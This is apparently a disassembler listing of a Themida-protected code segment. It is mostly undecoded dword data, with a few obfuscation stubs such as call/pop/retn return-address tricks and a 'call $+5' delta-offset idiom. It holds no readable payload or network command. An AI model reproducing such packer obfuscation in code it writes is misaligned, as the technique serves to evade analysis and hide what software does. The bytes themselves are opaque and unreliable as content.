dd 1A0208C3h, 0D8B70FF2h, 880Dh, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0D7815023h
dd 3D50B534h, 0F5958B5Fh, 66061009h, 8D8BF88Bh, 6102319h
dd 0C28B50F5h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6658188Bh
dd 3E55CB81h, 6ADFB70Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 0C059C356h, 0A58589DFh
dd 8B061031h, 102265BDh, 29BD8306h, 6101Eh, 8E840Fh, 810F0000h
dd 3, 0B8FEBF0Fh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_595833
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595833 proc near ; CODE XREF: Themida_:0059582Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_595833 endp
; ---------------------------------------------------------------------------
db 57h
dd 9BD8974h, 8B061005h, 100955BDh, 858D8D06h, 0BF06104Eh
dd 501D8755h, 8E9h, 0CD2A3D00h, 8329CB63h, 6AE1FF53h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 8D43C351h, 2146C2C9h, 10E9F0B4h, 0A5000000h, 2CD23DDBh
dd 4A1CDDAFh, 3C18D99Ah, 0BF8930CBh, 66ECFA9Ah, 22C1BD83h
dd 0F000610h, 45284h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 17005B99h, 30F0C91Bh
dd 11E924h, 0E80F0000h, 488595B2h, 0A0AA89CDh, 9F7AF4CAh
dd 832A5271h, 1022C1BDh, 840F0106h, 426h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 18h, 14C35646h, 3AB217D1h
dd 5830Fh, 81660000h, 83A00DCFh, 1022C1BDh, 860F0306h
dd 3B8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 64C35646h, 0D6F380CDh, 51006A60h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0E579947Ch
dd 0EF083899h, 0D98C667Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 82C35242h, 0BB21DA25h, 269AA6F0h, 6A04E180h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 0F96C355h, 0C90AD8BFh, 137840Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 860F45C3h, 3, 8B3BEB80h, 10218585h, 0FEBF0F06h, 11FD8533h
dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 0BAE66BC3h, 893F3210h, 10105DBDh, 0F98B5006h
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0C353C351h, 0DEDAA05Ah, 6ADC86h
dd 0BE9h, 0C0CD8900h, 0B28E71C3h, 9E2E9ECBh, 4E8h, 1F03FF00h
dd 0FEBB5000h, 8B1B733Eh, 0BF042444h, 37C160D6h, 0BF66008Bh
dd 448976FCh, 5B520424h, 8B0F58h, 0FF000000h, 1005D595h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 893F8CFDh, 13C26D85h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0E3D1C8A0h
dd 15DD7E1Dh, 51858935h, 0E9061005h, 1B3h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 57C35545h, 65858BF8h
dd 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 48B5C357h, 1800C79Dh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 69FCC351h, 519D8BF6h, 8B061023h, 13C269B5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0A98D2955h, 8B061009h, 100E2585h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 6892433h, 31319D29h, 858B0610h, 6102185h, 4689FA8Bh
dd 55BD8B04h, 96061002h, 79DB05BFh, 196500Ah, 101101B5h
dd 65B5FF06h, 680613C2h, 0ED10937Eh, 81240481h, 6A130E70h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 4595C357h, 34CDB5EFh, 33B809EDh, 100FE59Dh
dd 6D858D06h, 6A0613C2h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 7306C356h, 0AE82EFCh
dd 48000000h, 66AB969Dh, 8ECFCC34h, 2DBD2B20h, 5B061000h
dd 6650F88Bh, 489FE8Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 31C4B9ADh, 0F111661h
dd 684h, 99BD0300h, 0BF06102Eh, 46A0295Bh, 5D595FFh, 11E80610h
dd 0D4000000h, 1B15A370h, 3C7276F7h, 94657D65h, 0F922BCE0h
dd 239BD89h, 615F0610h, 5DD9531h, 85C70610h, 61022C1h
dd 3, 1135BD8Bh, 0BD830610h, 613C26Dh, 31840F00h, 51000000h
dd 94DBD8Bh, 0E95B0610h, 3Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0DDC35343h, 8354E783h, 0F9096CCCh
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0B7C08B00h
dd 50006A70h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 7F248539h, 503BC5B7h, 149EBB66h, 22C1BD83h
dd 0F030610h, 40185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 29566057h, 4B932860h
dd 0FDD78166h, 6DBD83EAh, 613C2h, 3CC840Fh, 9E90000h, 7E000000h
dd 0C5F2C016h, 0B5E29208h, 0C26DB5FFh, 8D290613h, 61013CDh
dd 2A3D8D09h, 95FF0610h, 6102FA5h, 0C261B58Bh, 6A0613h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 2FF96FC3h, 8C2618D3h, 12E895BEh, 6F000000h, 0D189226Ch
dd 0A1F224B2h, 5CBCBA7Ah, 854FA703h, 5DBD8B7Ah, 5F06101Eh
dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 51B75BC3h, 85897B26h, 6100FB5h
dd 52505750h, 0BB66310Fh, 585A9591h, 2434895Fh, 0BE9h
dd 49742000h, 7151086Ah, 8FDDC84Ch, 0C26DB5FFh, 8B660613h
dd 2595FFD9h, 6A061012h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 6415C351h, 4A7B3FE7h
dd 0B387878Fh, 61B58B1Fh, 6A0613C2h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 13BDC355h
dd 6B39CD78h, 2B67A3BAh, 102AAD9Dh, 0D1858B06h, 89061021h
dd 1021599Dh, 81666006h, 0E8AB6ACAh, 0Eh, 0BC6117D6h, 612F972Dh
dd 0E392DB24h, 850F2414h, 0
; ---------------------------------------------------------------------------
pop ecx
popa
mov [esi+0C4h], eax
sub [ebp+61021C5h], esi
mov edx, [ebp+61009F5h]
mov edi, ecx
add edx, 4
mov ebx, [ebp+6100BFDh]
mov [eax+20h], edx
jmp loc_595F25
; ---------------------------------------------------------------------------
db 36h
dd 2A589678h, 0A2100A1Ah
; ---------------------------------------------------------------------------
xchg eax, esp
loc_595F25: ; CODE XREF: Themida_:00595F16j
lea eax, [ebp+613D7C2h]
mov [ebp+61009F9h], eax
or [ebp+6100DB5h], ebx
mov [esi+0B8h], eax
push 0
push ebp
call sub_595F48
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595F48 proc near ; CODE XREF: Themida_:00595F40p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_595F48 endp
; ---------------------------------------------------------------------------
dd 4A2F3AE5h, 10E90Bh, 9DFD0000h, 0B39B1B39h, 27962158h
dd 0CBEFBBBBh, 8B66F7C5h, 89006AD8h, 1015A9BDh, 6DB5FF06h
dd 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 0B266C357h, 78DF7C53h, 8B66F2F9h
dd 9595FFD9h, 6A061004h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 281AC356h, 6743B5EDh
dd 0E8865B67h, 0Eh, 2903DE61h, 489A33ABh, 0B964B798h, 9D8BE4ADh
dd 6102D91h, 0AD9D8B5Bh, 50061006h, 3489FA8Ah, 0B6B86024h
dd 8B460255h, 1031C595h, 0B5FF6106h, 613C26Dh, 0FFDF8B66h
dd 10162D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0D62EBF27h, 0BD8356C6h, 6101351h
dd 39840F00h, 0F000000h, 0E781DBBFh, 46B40A15h, 50E9B796h
dd 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0B23EE046h, 1FD9D8Bh, 9D230610h, 6100A49h
dd 0C26DB5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 6D9AC6C3h, 0E04732Eh, 9D8BBA59h
dd 61027C1h, 1F71B589h, 95FF0610h, 6100C19h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 99C35545h, 78E3569Ah
dd 9BAB3BDh, 101D0D9Dh, 0F8BF6606h, 6DB5FF18h, 10613C2h
dd 1009B995h, 2195FF06h, 0BB061016h, 14175268h, 0F89BD83h
dd 0F020610h, 3984h, 60DA8B00h, 8B92D480h, 858B61D3h, 61010C5h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0CBC35747h
dd 8B66C5DEh, 0C6DFh, 8B1BD89h, 85C70610h, 6102A25h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_596157
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596157 proc near ; CODE XREF: Themida_:0059614Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_596157 endp
; ---------------------------------------------------------------------------
db 28h
dd 8BD09620h, 0F1B531DFh, 0F06100Fh, 9FE9FEB7h, 6AFFFFF3h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 94FCC357h, 0CDBD0B60h, 61061031h, 6AC18Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0BBDC62C3h, 0BD8B481Eh, 6100225h, 0F98D29h, 0EE90610h
dd 99000000h, 2528CFh, 2 dup(0)
dd 57BE900h, 17B70000h, 2BE158D4h, 0CC138F4h, 2BE057D3h
dd 9BB3AEEh, 0EC180ECAh, 0CF8BCA7Eh, 0E864A548h, 0C682BD71h
dd 0E763984Fh, 0B111F804h, 556BD8D1h, 7932CC58h, 97395044h
dd 0AE55E458h, 550E8D79h, 0AF557420h, 0D2F18C78h, 439F233h
dd 0AD1514EAh, 496DCC7Ch, 20F400EDh, 0AA9BBA67h, 363709CDh
dd 5DC91A92h, 69F20706h, 47CE8AC5h, 689668A3h, 0CC6301C1h
dd 7489E56Dh, 317213B2h, 0ABE69C1Fh, 0A05E7BF7h, 3DE47B36h
dd 0CC0EB389h, 466EFEF1h, 463A1647h, 0C35206EAh, 6C3BE71Ch
dd 6DCC15D3h, 29CC6354h, 336ACCE8h, 0F32CE158h, 0FFA423FFh
dd 7552CEC2h, 76D3h, 0A9D73900h, 4E427B32h, 7C9F23D2h
dd 0FB776DCCh, 79AE55DEh, 7C66DE8Dh, 18A76DCCh, 88835D79h
dd 6DCC7C3Ah, 21A188DAh, 0C56DCC7Ch, 0A7708D69h, 336B3666h
dd 146h, 7A328400h, 16DA453Ah, 0E4B184h, 45441A14h, 6DCCBFFDh
dd 73401D19h, 0F5C496CDh, 5611552h, 0BB679E46h, 0E5E4A2B7h
dd 5E110542h, 5B903702h, 1F069D7Eh, 0FF763269h, 96D37848h
dd 3268FEBAh, 34533F7Eh, 0ECA1558Ch, 57F938D7h, 0F198C97Dh
dd 6DCC7C51h, 0B99DB9B5h, 98CD7605h, 82E385C6h, 0C45DA07Ch
dd 29E0F7A7h, 205304F0h, 6A996481h, 5209336Ah, 0E7895E9Fh
dd 93h, 497E3225h, 0CC7CE062h, 4C28046Dh, 538C4158h, 8E700C9Fh
dd 0CC7C279Bh, 8663BF6Dh, 75171EB5h, 0EF952436h, 432F681Dh
dd 70E603DFh, 0DE15CB8Eh, 0A2192E32h, 1E9DAFEEh, 6C1A2F66h
dd 637DBA6Dh, 0F0276F6Ah, 0C28EC0C9h, 3FB5A260h, 0C2802B8Ch
dd 226DCC99h, 514D2A46h, 11D46B08h, 336A4ED0h, 4DB0h, 7E321A00h
dd 58532D3Fh, 6DCC7CEAh, 8E4C050Ah, 15674707h, 106A1C31h
dd 0B86CA349h, 6E149FBCh, 0D36C3F33h, 1453F53Ch, 8FCC7F3Ah
dd 326604BAh, 0E45E4D7Ah, 6DCC7Ch, 5544024h, 6DCC7CB8h
dd 44A1407Fh, 336B3569h, 149h, 0A9D7C300h, 0CC7C4002h
dd 0B3C8A46Dh, 0FCAD8128h, 876BC7BBh, 83DE675h, 4343181Ch
dd 0BA669B44h, 792D661Bh, 33D6AC62h, 0B022CEF2h, 0F45E6201h
dd 0CA7FA63Dh, 31C81D91h, 30D9D0AAh, 0B467FC06h, 0A943B2B7h
dd 0F6D36E89h, 5D7C2804h, 3EBD71A6h, 55F14785h, 4B201966h
dd 942C7B27h, 0A5942304h, 0B8CFC304h, 3B20D415h, 6CF07D63h
dd 0B34EF85Eh, 431DB01Ch, 0E094D578h, 0E423C584h, 949D3407h
dd 79C9C0EBh, 9D9423CCh, 5729A5C1h, 0D1A6DB84h, 522C610Ah
dd 0CCC57D2Ch, 45219423h, 0A85F7628h, 0B9CA7F73h, 2F641B1Ah
dd 751AA17Bh, 915C2338h, 71397B85h, 180h, 0DA17CC8Fh, 972D4A26h
dd 8BC4A9D7h, 0E758C881h, 46AD1504h, 0ED496DCCh, 75666D10h
dd 2173725Bh, 0C44097E4h, 93B872A4h, 0AECB3995h, 7F25B4CAh
dd 43783348h, 0A367FC6Bh, 3BCDBC7h, 7B578C33h, 5A8F38BFh
dd 6005D4A6h, 0BDFCB027h, 0C3906DC9h, 5E3BE71Ch, 0C87FA63Dh
dd 0E4A7B993h, 943C5F5Eh, 199DBAB6h, 7B128B66h, 8D40FB39h
dd 23E6584Ch, 943C6B9Fh, 2D7FB77h, 4B4Eh, 42E97000h, 401D190Dh
dd 1AC15C64h, 7CD94940h, 86FDEDCCh, 72EEA2E3h, 4FF3A24Eh
dd 70EDCC7Ch, 1B30CFh, 5ECC01DBh, 0BF6CF987h, 9DBB0702h
dd 0FF5BEDCCh, 37F206E3h, 6DCC9DABh, 0F57AC64Bh, 0EBFE71E1h
dd 0B9D25307h, 2A000000h, 4328BD5Ch, 9B6CF0EFh, 68DAC1EEh
dd 8C6DCC26h, 0EF9AB490h, 67FC568Ah, 2661057Ch, 26DAF67Ah
dd 0B5001754h, 60DF6D57h, 0A08470A9h, 685C97C4h, 7C54E403h
dd 0F62BD45Fh, 0D70CB342h, 0E68A512Bh, 6277FBA7h, 3CD31EA9h
dd 0D76E5594h, 0EC60954Eh, 65A64712h, 0FDDEF588h, 42628E3h
dd 0FDBC9E08h, 49390E49h, 0E9A239EDh, 7C77CBBEh, 8A8F9E10h
dd 9E8376D4h, 2BAAC613h, 0EB473B78h, 49F8F507h, 8CC57C93h
dd 43E6255Fh, 22C08229h, 48249E10h, 0D2617333h, 0DEFD1C33h
dd 91F9F20Ch, 97DDC27Fh, 0E118D087h, 6F1C3135h, 9424A16Fh
dd 5CE6A597h, 0B8800B27h, 862498BCh, 0CD15BD5Ch, 10EA8648h
dd 5A84567Ah, 0FF3D8584h, 5DD96DCCh, 2EE27DEh, 5C62491Eh
dd 6867F82Ah, 0CA81180Ch, 74471995h, 1752F8CEh, 0EEB076Bh
dd 0BD699E45h, 7B2EB6EEh, 0A7E487FBh, 0EA27DCFBh, 927EB56Bh
dd 2551F198h, 0B9B5BB63h, 6E52F192h, 0C46D049Bh, 0E372E61Bh
dd 0BF5073Ch, 6325A220h, 11E642BBh, 94D17615h, 0A43BF6E0h
dd 0A988C67Dh, 78CAC1FBh, 9CBB633Ah, 50409BC0h, 0B79BDC8Dh
dd 0EF981F9Bh, 8DDC6BAh, 0E3000000h, 5875B458h, 326D5FCCh
dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 81E38953h
dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 3C685C24h, 8900006Fh
dd 0EC682434h, 8900002Dh, 7B68243Ch, 8B0614ADh, 0C4812434h
dd 4, 243C8B54h, 4C481h, 50560000h, 260022B8h, 24443174h
dd 478F5804h, 8778108h, 74260022h, 5F2434FFh, 0FF04C483h
dd 815E2434h, 4C4h, 0CD7EE900h, 47B7FFFBh, 2D20E5D6h, 0B285B833h
dd 0C5030614h, 78A9E0FFh, 57C377ECh, 8A2828ECh, 0CD7C39F5h
dd 6F423CFCh, 52ED0647h, 77970092h, 71EF1E28h, 11B753E0h
dd 0CB35205Dh, 0EB5309EDh, 7B296ADDh, 4F5B06B7h, 9AF02B31h
dd 3B3235A1h, 858D4054h, 61013B9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 84C35343h, 0E5742C11h, 8A90ABD6h
dd 0FA8A50D9h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0B843F847h, 698C174h
dd 0BD8BFA30h, 6100909h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 0BA58C6C3h, 0FE91D12h
dd 0A4000000h, 0B234DCF5h, 9204F709h, 3BF22626h, 6ABD97h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1EC35646h
dd 28859D8Bh, 858D0610h, 614B586h, 7832BF66h, 6A05C083h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 4C0BC357h, 5090FCCAh, 13E952h, 0F3F70000h
dd 0A1E2D6Dh, 0B90A5D3Ch, 10CD1DBh, 2F7F4C0Eh, 0B3310F39h
dd 50585A46h, 0EE8h, 44386500h, 0A0690E54h, 7D014D13h
dd 508307E9h, 0FFA8A52h, 5B585A31h, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0A01546BEh
dd 0D6F78166h, 8B006A3Ch, 102FE19Dh, 0F006A06h, 95FFFBBFh
dd 6101D19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 7BC35343h, 36C3EF2h, 8BAC9837h, 102D019Dh, 0D88D8D06h
dd 6A0613AFh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 4AEBC357h, 0D4FD301Fh, 0DE96FD3h
dd 44000000h, 0C26DE6E4h, 0E2B09C02h, 65FB2A1Bh, 0BD89D1FFh
dd 6101471h, 2209BD83h, 0F010610h, 7C85h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0CB8075A2h, 8B026AC9h, 0D98589F8h, 90061001h, 0FE8h
dd 8B8F9E00h, 56A54C3Ch, 147601A4h, 0FFA17A9h, 0DE8h, 0ECD30300h
dd 70CA5410h, 78376319h, 0C4BFE9E1h, 5F65384Ah, 0EE9505Bh
dd 7000000h, 0C8368563h, 0A6EF2097h, 0C6DC9F6Fh
dd 0BF0F905Ah, 9595FFFFh, 81061004h, 0C60E73DFh, 0ECDE952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5969F6: ; DATA XREF: Themida_:0054E59Co
call $+5
pop ebp
sub ebp, 614B590h
mov [ebp+6103131h], eax
add bx, 434Ch
add [ebp+6100C21h], ebx
lea eax, [ebp+61399B6h]
push 0
push edi
call sub_596A24
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_596A24 proc near ; CODE XREF: Themida_:00596A1Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_596A24 endp
; ---------------------------------------------------------------------------
dd 0CD715E7h, 11E84Fh, 7A0B0000h, 0C0D249ECh, 120AACDEh
dd 3662C28Dh, 890CB38Fh, 100779BDh, 0BF905F06h, 7298998Fh
dd 0A5BB6650h, 6A90BDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0B529E4C3h, 6100E79h, 56B6BF66h
dd 35FF64h, 80000000h, 896492C7h, 25h, 0B516000h, 101D318Dh
dd 13E95F06h, 3C000000h, 94EB05E1h, 3CD3131Eh, 276B84F4h
dd 14BB2276h, 0FF61029Ch, 10141985h, 15BD8906h, 6A061019h
dd 17860FFFh, 0F000000h, 1184h, 0CE900h, 96330000h, 0FBD675F1h
dd 0D5B40441h, 0B5FFECF0h, 61004E9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 19C35343h, 13830F08h, 0E9000000h
dd 0Eh, 52A0A2A4h, 6E473FA3h, 6A9C5DDh, 0B5897BF7h, 6100491h
dd 61595FFh, 0F3E90610h, 0BF000000h, 166BE529h, 7E900B0h
dd 34000000h, 0E5B0B5C8h, 70E61B1Ah, 1CA59D2Bh, 71E40610h
dd 0DBD3BF66h, 830F613Ch, 0CAh, 850FB5B3h, 1, 0C8B60FF5h
dd 18D9BD89h, 6BA0610h, 89000000h, 1009B19Dh, 60C18B06h
dd 2079BD01h, 0DE90610h, 83000000h, 0B4F4AC50h, 0F541DAC5h
dd 5DA0D377h, 4E8C161h, 0ECCCBF66h, 66E2F766h, 0FAA7EB81h
dd 9D89C82Bh, 6102795h, 8BDAB70Fh, 4820FD1h, 66000000h
dd 0E9EDCBBFh, 2, 858B05B7h, 6100069h, 83DE8B66h, 0C08307C0h
dd 0FD03B00h, 1383h, 0E9EEB700h, 46h, 3139BD8Bh, 85890610h
dd 6102EE9h, 418D8Bh, 0BD8B0610h, 6102A31h, 0F01E183h
dd 2584h, 3A8EBF00h, 0A5830316h, 6100041h, 0FFBF0FFEh
dd 699589h, 6E90610h, 44000000h, 0BF71625Fh, 0E9D3h, 0B58D0000h
dd 61427DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 0B1C35747h, 6C4275C5h, 27CB2127h, 23006A96h, 1015A1BDh
dd 0C995FF06h, 6A061031h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 408C355h, 0AC97F48Dh
dd 5E9h, 5CED9900h, 13B95BC2h, 8B000008h, 100C51BDh, 0FCE18306h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 97C35242h
dd 81ECF231h, 8048A038h, 6AFC2ADFh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 530EC355h
dd 0C8C5B238h, 0B7B719DCh, 0B8A3h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 7E1644C3h
dd 0EF981000h, 31FABF0Fh, 1006D9B5h, 6AD22B06h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0ADD7C353h, 0E8D1C233h, 0E983D003h, 29F47504h, 100CA98Dh
dd 5BD8B06h, 8A06100Fh, 880DDCh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5F50CCC3h
dd 631CC41Eh, 0F9D46388h, 9F5958Bh, 11E80610h, 0D1000000h
dd 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0CAC087Fh, 8B5FC6B3h
dd 1023198Dh, 79EF8006h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 5F575818h, 51D9D03h, 6A0610h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E59ACEC3h
dd 5EF171BCh, 83B3B5DDh, 101E29BDh, 840F0006h, 3Ch, 10C19D8Bh
dd 0B80610h, 8D000000h, 104E858Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 611DCCA2h
dd 0A7C5FBCAh, 56E1FF91h, 5BF8B70Fh, 22C1BD83h, 0F000610h
dd 51984h, 0D0C78100h, 0BF59B0D7h, 6D0C627Eh, 22C1BD83h
dd 0F010610h, 51C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0DDAD28DAh, 0C1BD8302h
dd 3061022h, 4B9860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 17698FC3h, 1F16B7BAh
dd 68BF8A2Ch, 600F2EECh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0E4C35040h, 89D98C66h, 1006D995h, 4E18006h
dd 7E9h, 79B36A00h, 0D17227Ah, 840FC90Ah, 168h, 11E8h
dd 0D9ECEA00h, 0CDBC012Ah, 679BDFD5h, 86D45A8Fh, 0B70F597Ah
dd 858B5BD8h, 6102185h, 11FD8533h, 6A0610h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0C30A7FC3h
dd 2C4C9543h, 5290F521h, 505FDA8Ah, 714BEDBFh, 6A907Ch
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 7127BCC3h, 72C3EBCAh, 29AA99C7h, 10131D8Dh, 0BF0F5206h
dd 6A5FDAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 47C35242h, 63FC1642h, 0E30EEEA8h, 0C99D8970h, 0E8061018h
dd 4, 1F03FFh, 5650FA8Bh, 12E9h, 41543D00h, 1A606B2Fh
dd 0DD851848h, 712CBCAAh, 5FA173C1h, 424448Bh, 8B65B3h
dd 4741BB66h, 4244489h, 0F88B5250h, 585A310Fh, 158D8958h
dd 0FF061008h, 1005D595h, 259D0106h, 89061016h, 13C26D85h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 0FB8B6014h, 6810Fh, 0B5890000h, 6101F85h
dd 71950161h, 0E9061007h, 25Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0A4C35545h, 9EBACC11h, 0F9858957h
dd 5B061009h, 0C265858Bh, 0F560613h, 68Ah, 0D9D8900h, 5B06100Eh
dd 1800C7h, 0BE90000h, 0C3000000h, 0CB777D2Fh, 7DB32EADh
dd 0B58B66D3h, 613C269h, 25858BF8h, 6A06100Eh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0A42BC350h, 29641B84h, 1005A585h, 6A068906h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 0EAC8C357h, 0DECF1CD0h, 1A1397E1h, 56E4BF66h, 2185858Bh
dd 9D890610h, 6101AC5h, 7E8h, 99B7900h, 5B3892CEh, 5FFAB70Fh
dd 6A044689h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 8910C355h, 9D8B84F7h, 61022C5h
dd 2AB9BD8Bh, 66500610h, 89EB13BFh, 6A2434h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CD8F70C3h
dd 18E1BD23h, 0B5890610h, 6102F8Dh, 0C265B5FFh, 6A0613h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0BDE525C3h, 0C810F1Eh, 0E8000000h, 6, 0A46F25D9h, 0E85FDB08h
dd 4, 1F03FFh, 0C6B2CABFh, 0BB66502Fh, 448B8941h, 52500424h
dd 0F98B5250h, 0CE8310Fh, 0D5000000h, 9C092921h, 6AF1E5E1h
dd 5FA806C0h, 310F585Ah, 5850Fh, 0CBB0000h, 5A386816h
dd 0E9008B58h, 6, 67DFD10Ch, 44895943h, 23580424h, 100829BDh
dd 6D858D06h, 6A0613C2h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0FEAFC352h, 1664BE4Dh
dd 0CF81145Eh, 4FFF5E4Bh, 0AADB8166h, 0FA8B90FAh, 0FB8B5650h
dd 6A905Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h
dd 1D2CE8C3h, 0E3CAD01h, 11E961h, 48590000h, 89465A91h
